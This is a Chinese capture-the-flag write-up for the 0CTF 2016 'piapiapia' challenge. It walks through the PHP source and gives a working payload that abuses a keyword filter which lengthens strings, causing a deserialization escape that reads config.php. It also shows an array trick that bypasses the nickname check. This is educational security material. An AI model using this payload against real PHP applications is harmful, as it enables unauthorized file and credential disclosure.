[0CTF 2016]piapiapia
Posted 育良书记
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[0CTF 2016]piapiapia相关的知识,希望对你有一定的参考价值。
使用burpsuite进行目录扫描,发现网站备份文件
index.php
1 <?php 2 require_once(\'class.php\'); 3 if($_SESSION[\'username\']) { 4 header(\'Location: profile.php\'); 5 exit; 6 } 7 if($_POST[\'username\'] && $_POST[\'password\']) { 8 $username = $_POST[\'username\']; 9 $password = $_POST[\'password\']; 10 11 if(strlen($username) < 3 or strlen($username) > 16) 12 die(\'Invalid user name\'); 13 14 if(strlen($password) < 3 or strlen($password) > 16) 15 die(\'Invalid password\'); 16 17 if($user->login($username, $password)) { 18 $_SESSION[\'username\'] = $username; 19 header(\'Location: profile.php\'); 20 exit; 21 } 22 else { 23 die(\'Invalid user name or password\'); 24 } 25 } 26 else { 27 ?>
代码第17行到20行,用户登陆成功后跳转到profile.php
profile.php
1 <?php 2 require_once(\'class.php\'); 3 if($_SESSION[\'username\'] == null) { 4 die(\'Login First\'); 5 } 6 $username = $_SESSION[\'username\']; 7 $profile=$user->show_profile($username); 8 if($profile == null) { 9 header(\'Location: update.php\'); 10 } 11 else { 12 $profile = unserialize($profile); 13 $phone = $profile[\'phone\']; 14 $email = $profile[\'email\']; 15 $nickname = $profile[\'nickname\']; 16 $photo = base64_encode(file_get_contents($profile[\'photo\'])); 17 ?>
代码第12行可能存在反序列化漏洞,代码第16行可以通过file_get_contents函数读取文件内容
我们可以跟踪一下$profile,发现它是show_profile()返回值,show_profile()位于class.php
class.php
1 public function show_profile($username) { 2 $username = parent::filter($username); 3 $where = "username = \'$username\'"; 4 $object = parent::select($this->table, $where); 5 return $object->profile; 6 }
从代码第2行可以看到$username经过了filter()过滤, 跟踪一下filter()
1 public function filter($string) { 2 $escape = array(\'\\\'\', \'\\\\\\\\\'); 3 $escape = \'/\' . implode(\'|\', $escape) . \'/\'; 4 $string = preg_replace($escape, \'_\', $string); 5 $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\'); 6 $safe = \'/\' . implode(\'|\', $safe) . \'/i\'; 7 return preg_replace($safe, \'hacker\', $string); 8 }
filter()会将\'select\', \'insert\', \'update\', \'delete\', \'where\'关键字替换为\'hacker\',然后返回
update.php
1 <?php 2 require_once(\'class.php\'); 3 if($_SESSION[\'username\'] == null) { 4 die(\'Login First\'); 5 } 6 if($_POST[\'phone\'] && $_POST[\'email\'] && $_POST[\'nickname\'] && $_FILES[\'photo\']) { 7 8 $username = $_SESSION[\'username\']; 9 if(!preg_match(\'/^\\d{11}$/\', $_POST[\'phone\'])) 10 die(\'Invalid phone\'); 11 12 if(!preg_match(\'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\\.[_a-zA-Z0-9]{1,10}$/\', $_POST[\'email\'])) 13 die(\'Invalid email\'); 14 15 if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10) 16 die(\'Invalid nickname\'); 17 18 $file = $_FILES[\'photo\']; 19 if($file[\'size\'] < 5 or $file[\'size\'] > 1000000) 20 die(\'Photo size error\'); 21 22 move_uploaded_file($file[\'tmp_name\'], \'upload/\' . md5($file[\'name\'])); 23 $profile[\'phone\'] = $_POST[\'phone\']; 24 $profile[\'email\'] = $_POST[\'email\']; 25 $profile[\'nickname\'] = $_POST[\'nickname\']; 26 $profile[\'photo\'] = \'upload/\' . md5($file[\'name\']); 27 28 $user->update_profile($username, serialize($profile)); 29 echo \'Update Profile Success!<a href="profile.php">Your Profile</a>\'; 30 } 31 else { 32 ?>
代码第15-16行
1 if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10) 2 die(\'Invalid nickname\');
这段代码可以通过将nickname变量赋值为数组便可以绕过,也就是这样nikename[]=
代码第23-28行将用户注册的信息序列化后保存到数据库中
config.php
<?php $config[\'hostname\'] = \'127.0.0.1\'; $config[\'username\'] = \'root\'; $config[\'password\'] = \'\'; $config[\'database\'] = \'\'; $flag = \'\'; ?>
可以看见$flag在当期php文件中,那么目的就很明确了,我们需要获取config.php文件内容
综上所诉,我们可以利用update.php序列化那段代码,也就是将s:10:"config.php";}添加到序列化结果后面,反序列化时就能通过profile.php中file_get_content()来获取config.php的文件内容
update.php中$nickname可以成为利用点,$nickname后面需要序列化的内容为
;}s:5:"photo";s:10:"config.php";}
长度为34,所以需要想办法挤出34位长度,这时候就想到了class.php中的过滤代码
public function filter($string) { $escape = array(\'\\\'\', \'\\\\\\\\\'); $escape = \'/\' . implode(\'|\', $escape) . \'/\'; $string = preg_replace($escape, \'_\', $string); $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\'); $safe = \'/\' . implode(\'|\', $safe) . \'/i\'; return preg_replace($safe, \'hacker\', $string); }
每次过滤where关键字的时候就会将字符串的长度添加1位,所以我们需要在$nickname中输入34个where,然后将;}s:5:"photo";s:10:"config.php";}添加到关键字后面,反序列化是通过file_get_contents()便可以读取到config.php文件中的内容
payLoad:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
总结步骤:
1.注册一个用户
2.登陆用户
3.进入update.php使用burpsuite抓包,修改$nickename为nickename[]和$nickename的值
使用burpsuite抓包
点击进入到profile.php
查看源代码,其中的base64编码为config.php的内容
以上是关于[0CTF 2016]piapiapia的主要内容,如果未能解决你的问题,请参考以下文章